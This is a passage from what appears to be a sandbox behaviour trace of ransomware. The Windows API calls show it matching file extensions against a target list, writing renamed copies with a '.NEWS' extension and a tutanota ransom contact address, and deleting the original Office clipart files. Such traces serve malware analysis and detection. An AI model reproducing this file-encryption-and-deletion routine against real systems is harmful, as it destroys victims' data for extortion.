4 [0078.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.768] lstrlenW (lpString=".bz2") returned 4 [0078.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.768] lstrlenW (lpString=".7z") returned 3 [0078.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.768] lstrlenW (lpString=".dbf") returned 4 [0078.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.768] lstrlenW (lpString=".1cd") returned 4 [0078.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.768] lstrlenW (lpString=".jpg") returned 4 [0078.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.768] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.768] lstrlenW (lpString="BL00008_.WMF") returned 12 [0078.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.768] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=12520) returned 1 [0078.769] CloseHandle (hObject=0x308) returned 1 [0078.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0078.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.769] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.769] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0078.769] GetLastError () returned 0x0 [0078.770] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0078.771] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0078.772] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.772] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.772] SetEndOfFile (hFile=0x31c) returned 1 [0078.773] CloseHandle (hObject=0x31c) returned 1 [0078.774] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.774] SetEndOfFile (hFile=0x308) returned 1 [0078.775] CloseHandle (hObject=0x308) returned 1 [0078.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0078.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString=".doc") returned 4 [0078.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString=".docx") returned 5 [0078.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.776] lstrlenW (lpString=".pdf") returned 4 [0078.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString=".xls") returned 4 [0078.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.776] lstrlenW (lpString=".xlsx") returned 5 [0078.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.776] lstrlenW (lpString=".ppt") returned 4 [0078.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString=".zip") returned 4 [0078.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.776] lstrlenW (lpString=".rar") returned 4 [0078.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString=".bz2") returned 4 [0078.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString=".7z") returned 3 [0078.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString=".dbf") returned 4 [0078.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString=".1cd") returned 4 [0078.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString=".jpg") returned 4 [0078.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.776] lstrlenW (lpString=".doc") returned 4 [0078.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.776] lstrlenW (lpString=".docx") returned 5 [0078.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.777] lstrlenW (lpString=".pdf") returned 4 [0078.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.777] lstrlenW (lpString=".xls") returned 4 [0078.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.777] lstrlenW (lpString=".xlsx") returned 5 [0078.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.777] lstrlenW (lpString=".ppt") returned 4 [0078.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.777] lstrlenW (lpString=".zip") returned 4 [0078.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.777] lstrlenW (lpString=".rar") returned 4 [0078.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.777] lstrlenW (lpString=".bz2") returned 4 [0078.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.777] lstrlenW (lpString=".7z") returned 3 [0078.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.777] lstrlenW (lpString=".dbf") returned 4 [0078.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.777] lstrlenW (lpString=".1cd") returned 4 [0078.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0078.777] lstrlenW (lpString=".jpg") returned 4 [0078.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.777] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.777] lstrlenW (lpString="BL00012_.WMF") returned 12 [0078.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.778] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9818) returned 1 [0078.778] CloseHandle (hObject=0x308) returned 1 [0078.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0078.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.778] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.778] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0078.778] GetLastError () returned 0x0 [0078.778] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x265a, lpOverlapped=0x0) returned 1 [0079.120] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2660, lpOverlapped=0x0) returned 1 [0079.123] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.123] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.123] SetEndOfFile (hFile=0x31c) returned 1 [0079.123] CloseHandle (hObject=0x31c) returned 1 [0079.124] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.124] SetEndOfFile (hFile=0x308) returned 1 [0079.125] CloseHandle (hObject=0x308) returned 1 [0079.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0079.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.478] lstrlenW (lpString=".doc") returned 4 [0079.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.478] lstrlenW (lpString=".docx") returned 5 [0079.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.478] lstrlenW (lpString=".pdf") returned 4 [0079.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.478] lstrlenW (lpString=".xls") returned 4 [0079.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.478] lstrlenW (lpString=".xlsx") returned 5 [0079.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.478] lstrlenW (lpString=".ppt") returned 4 [0079.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.478] lstrlenW (lpString=".zip") returned 4 [0079.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.479] lstrlenW (lpString=".rar") returned 4 [0079.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString=".bz2") returned 4 [0079.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString=".7z") returned 3 [0079.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.479] lstrlenW (lpString=".dbf") returned 4 [0079.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.479] lstrlenW (lpString=".1cd") returned 4 [0079.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.479] lstrlenW (lpString=".jpg") returned 4 [0079.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.479] lstrlenW (lpString=".doc") returned 4 [0079.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString=".docx") returned 5 [0079.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.479] lstrlenW (lpString=".pdf") returned 4 [0079.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString=".xls") returned 4 [0079.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.479] lstrlenW (lpString=".xlsx") returned 5 [0079.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.479] lstrlenW (lpString=".ppt") returned 4 [0079.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.479] lstrlenW (lpString=".zip") returned 4 [0079.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.479] lstrlenW (lpString=".rar") returned 4 [0079.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.480] lstrlenW (lpString=".bz2") returned 4 [0079.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.480] lstrlenW (lpString=".7z") returned 3 [0079.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.480] lstrlenW (lpString=".dbf") returned 4 [0079.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.480] lstrlenW (lpString=".1cd") returned 4 [0079.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0079.480] lstrlenW (lpString=".jpg") returned 4 [0079.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.480] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.480] lstrlenW (lpString="BL00247_.WMF") returned 12 [0079.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0079.612] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=14444) returned 1 [0079.612] CloseHandle (hObject=0x390) returned 1 [0079.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0079.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0079.613] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.613] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.183] GetLastError () returned 0x0 [0080.183] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x386c, lpOverlapped=0x0) returned 1 [0080.185] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3870, lpOverlapped=0x0) returned 1 [0080.186] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.186] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.186] SetEndOfFile (hFile=0x330) returned 1 [0080.186] CloseHandle (hObject=0x330) returned 1 [0080.187] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.187] SetEndOfFile (hFile=0x390) returned 1 [0080.188] CloseHandle (hObject=0x390) returned 1 [0080.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0080.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.190] lstrlenW (lpString=".doc") returned 4 [0080.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.190] lstrlenW (lpString=".docx") returned 5 [0080.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.190] lstrlenW (lpString=".pdf") returned 4 [0080.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.190] lstrlenW (lpString=".xls") returned 4 [0080.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.190] lstrlenW (lpString=".xlsx") returned 5 [0080.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.190] lstrlenW (lpString=".ppt") returned 4 [0080.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.190] lstrlenW (lpString=".zip") returned 4 [0080.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.190] lstrlenW (lpString=".rar") returned 4 [0080.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.190] lstrlenW (lpString=".bz2") returned 4 [0080.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString=".7z") returned 3 [0080.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.191] lstrlenW (lpString=".dbf") returned 4 [0080.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.191] lstrlenW (lpString=".1cd") returned 4 [0080.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.191] lstrlenW (lpString=".jpg") returned 4 [0080.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.191] lstrlenW (lpString=".doc") returned 4 [0080.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString=".docx") returned 5 [0080.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.191] lstrlenW (lpString=".pdf") returned 4 [0080.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString=".xls") returned 4 [0080.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.191] lstrlenW (lpString=".xlsx") returned 5 [0080.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.191] lstrlenW (lpString=".ppt") returned 4 [0080.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.191] lstrlenW (lpString=".zip") returned 4 [0080.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.191] lstrlenW (lpString=".rar") returned 4 [0080.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString=".bz2") returned 4 [0080.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.191] lstrlenW (lpString=".7z") returned 3 [0080.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Microsoft 